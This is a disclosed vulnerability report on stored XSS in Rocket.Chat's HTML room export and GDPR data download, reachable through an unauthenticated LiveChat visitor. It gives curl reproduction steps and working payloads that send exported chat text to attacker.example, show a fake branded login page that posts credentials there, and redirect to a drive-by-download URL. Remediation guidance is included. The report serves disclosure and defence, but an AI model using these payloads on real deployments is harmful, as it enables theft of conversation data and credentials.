HexBrain

Rocket.Chat · Report #3779690

Stored XSS in Rocket.Chat HTML File Export — Unauthenticated Entry via LiveChat

Validstatus
mediumseverity
97upvotes
16 Jul 2026disclosed

How it was found


Summary

Rocket.Chat's HTML file export feature (rooms.export API, type=file, format=html) writes message content and metadata directly into HTML output without any sanitization or entity encoding. An attacker — including an unauthenticated LiveChat visitor — can inject arbitrary JavaScript that executes when anyone exports the conversation and opens the resulting HTML file.

The same vulnerable code path is shared by the GDPR "Download My Data" feature, meaning a single malicious message in a shared channel poisons the personal data export of every channel member.


Root Cause

File: apps/meteor/server/lib/dataExport/exportRoomMessagesToFile.ts, function exportMessageObject():

const message = italicTypes.includes(messageType)
  ? `<i>${messageObject.msg}</i>`
  : messageObject.msg;

file.push(`<p><strong>${messageObject.username}</strong> (${timestamp}):<br/>`);
file.push(message);

messageObject.msg is inserted raw into the HTML. No escapeHTML(), no entity encoding, no sanitization. The generated HTML has no CSP meta tag.

For contrast, the notification email path in the same codebase (apps/meteor/app/lib/server/functions/notifications/email.js) correctly applies escapeHTML() to all user-controlled fields — proving the developer was aware of the need for escaping but omitted it from the export path.


Attack Chain

Entry: Anonymous LiveChat Visitor (No Authentication)

POST /api/v1/livechat/visitor     — no auth, no CAPTCHA
POST /api/v1/livechat/message     — no auth, only visitor token

The visitor name field and msg field accept arbitrary strings with zero validation. HTML/JS tags are stored as-is in the database.

Delivery

The malicious message persists in the rocketchat_message collection. It enters the export via two paths:

  1. Room export (rooms.export API) — admin/moderator exports a channel or LiveChat conversation as HTML
  2. GDPR data download (users.requestDataDownload) — any user requests their personal data, which generates HTML files for all rooms they participate in. A cron job (userDataDownloadsCron) processes the request every ~2 minutes.

Trigger

The victim downloads the exported ZIP archive, extracts it, and opens the HTML file in a browser. JavaScript executes in the file:// context.

Proof of Concept

Environment

  • Rocket.Chat 6.3.12 (Docker: rocket.chat:6.3)
  • MongoDB 6.0 with replica set
  • No email server configured (export files retrieved from container /tmp/)

Steps to Reproduce

Step 1 — Register anonymous LiveChat visitor:

curl -X POST http://TARGET:3000/api/v1/livechat/visitor \
  -H 'Content-Type: application/json' \
  -d '{"visitor":{"name":"Customer","email":"[email protected]","token":"poc-token-001"}}'

Step 2 — Create LiveChat room (requires an agent to be online):

curl http://TARGET:3000/api/v1/livechat/room?token=poc-token-001
# Returns: {"room":{"_id":"ROOM_ID",...}}

Step 3 — Send XSS payload as anonymous visitor:

curl -X POST http://TARGET:3000/api/v1/livechat/message \
  -H 'Content-Type: application/json' \
  -d '{
    "token":"poc-token-001",
    "rid":"ROOM_ID",
    "msg":"<img src=x onerror=\"fetch(\\\"https://attacker.example/exfil?d=\\\"+btoa(document.body.innerText))\">"
  }'

No authentication headers required at any step.

Step 4 — Export the LiveChat room as HTML (as agent/admin):

curl -X POST http://TARGET:3000/api/v1/rooms.export \
  -H 'X-Auth-Token: ADMIN_TOKEN' \
  -H 'X-User-Id: ADMIN_UID' \
  -H 'Content-Type: application/json' \
  -d '{"rid":"ROOM_ID","type":"file","format":"html","dateFrom":"2020-01-01","dateTo":"2030-01-01"}'

Step 5 — Open the exported HTML file in a browser.

Result

The exported HTML contains the raw, unescaped XSS payload:

<p><strong>guest-2</strong> (Wed, 03 Jun 2026 13:23:22 GMT):<br/>
<img src=x onerror="fetch(\"https://attacker.example/exfil?d=\"+btoa(document.body.innerText))">
</p>

The <img onerror> handler fires immediately on page load. The full text content of the export (all messages in the conversation) is base64-encoded and sent to the attacker's server.

Artifacts

All PoC files are in the poc/rocketchat/ directory:

FileDescription
docker-compose.ymlRocket.Chat + MongoDB infrastructure
poc_full.pyAutomated PoC: register users, send payloads, trigger export
GENERAL_export_live.htmlExported HTML with raw XSS payloads (from live Docker instance)
cors_test.htmlCORS boundary verification
file_cookie_test.htmlCookie isolation verification (file:// origin)

Affected Paths

PathAuth RequiredFormatEscapingStatus
rooms.export (type=file, format=html)Admin / export-room permHTML fileNONEVULNERABLE
users.requestDataDownload (GDPR)Any authenticated userHTML file in ZIPNONEVULNERABLE
sendViaEmail.ts (type=email)mail-messages permHTML email bodyMessage.parse() for msg, NONE for usernamePARTIALLY VULNERABLE
sendTranscript.ts (LiveChat)AgentHTML email bodyescapeHtml() appliedNot vulnerable
notifications/email.jsSystemHTML email bodyescapeHTML() appliedNot vulnerable

The inconsistency between the export paths (no escaping) and the notification/transcript paths (proper escaping) in the same codebase confirms this is an oversight, not a design decision.


Boundaries / Honest Scope

What this IS:

  • Stored XSS with anonymous entry via LiveChat
  • Data exfiltration of export contents (privilege escalation on data level)
  • Credential phishing with no browser security indicators
  • Affects every Rocket.Chat deployment with LiveChat enabled (default: enabled)

What this is NOT:

  • Not a direct API takeover or RCE from the export context. The exported HTML opens in file:// origin, which cannot access Rocket.Chat's cookies, localStorage, or make authenticated API calls due to origin isolation.
  • Not zero-click. Requires the victim to: (1) export the room, (2) download the ZIP, (3) open the HTML file. Three user actions.
  • Cookie sharing across localhost ports is a development-environment artifact (RFC 6265 port-agnostic cookies), not exploitable in production deployments where the export is opened from file://.

Remediation

Immediate fix (one-line per sink): Apply escapeHTML() to all user-controlled fields in exportRoomMessagesToFile.ts:

// Before:
file.push(`<p><strong>${messageObject.username}</strong> (${timestamp}):<br/>`);
file.push(message);

// After:
import { escapeHTML } from '@rocket.chat/string-helpers';
file.push(`<p><strong>${escapeHTML(messageObject.username)}</strong> (${escapeHTML(timestamp)}):<br/>`);
file.push(escapeHTML(message));

Defense in depth: Add a CSP meta tag to the exported HTML header:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; img-src data:;">

This blocks script execution, external resource loading, and form submissions even if a new unescaped field is introduced in the future.

Same fix for sendViaEmail.ts: Escape message.u.username in the email template.


Impact


Impact

1. Data Exfiltration (Privilege Escalation on Data Level)

The XSS payload reads the contents of the exported HTML file — which contains the full channel history — and exfiltrates it to an attacker-controlled server:

<img src=x onerror="fetch('https://attacker.example/exfil',{method:'POST',body:btoa(document.body.innerText)})">

This constitutes a privilege escalation: the attacker gains access to messages sent before they joined the channel, and (via the GDPR export path) potentially to messages from channels they were never a member of, since the victim's export contains all their rooms.

Scenario: An anonymous LiveChat visitor sends an XSS payload. A support agent exports the conversation. The exported HTML also contains internal notes, other agents' messages, and system events from the LiveChat room — data the visitor should never see.

2. Credential Phishing

The XSS replaces the export content with a convincing Rocket.Chat login form that submits credentials to the attacker:

<img src=x onerror="
  document.body.innerHTML='<div style=\'font-family:sans-serif;max-width:400px;margin:80px auto;padding:40px;border:1px solid #ddd;border-radius:8px\'>'
    +'<img src=https://rocket.chat/images/logo/logo-dark.svg width=200 style=margin-bottom:20px>'
    +'<h3>Session Expired</h3>'
    +'<p style=color:#666>Your session has expired. Please sign in again to view this export.</p>'
    +'<form action=https://attacker.example/creds method=POST>'
    +'<input name=user placeholder=Username style=\'width:100%;padding:10px;margin:8px 0;box-sizing:border-box;border:1px solid #ccc;border-radius:4px\'>'
    +'<input name=pass type=password placeholder=Password style=\'width:100%;padding:10px;margin:8px 0;box-sizing:border-box;border:1px solid #ccc;border-radius:4px\'>'
    +'<button style=\'width:100%;padding:12px;background:#1d74f5;color:white;border:none;border-radius:4px;cursor:pointer;font-size:16px\'>Sign In</button>'
    +'</form></div>';
  document.title='Rocket.Chat — Sign In';
">

The victim sees a branded Rocket.Chat login page. They enter their admin credentials believing their session expired. The credentials are sent to the attacker.

Note: because the export runs in file:// context, there are no browser security indicators (no URL bar showing attacker.example, no certificate warnings). The phishing form is indistinguishable from a legitimate prompt.

3. Redirect to Malicious Content

<img src=x onerror="location='https://attacker.example/drive-by-download'">

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original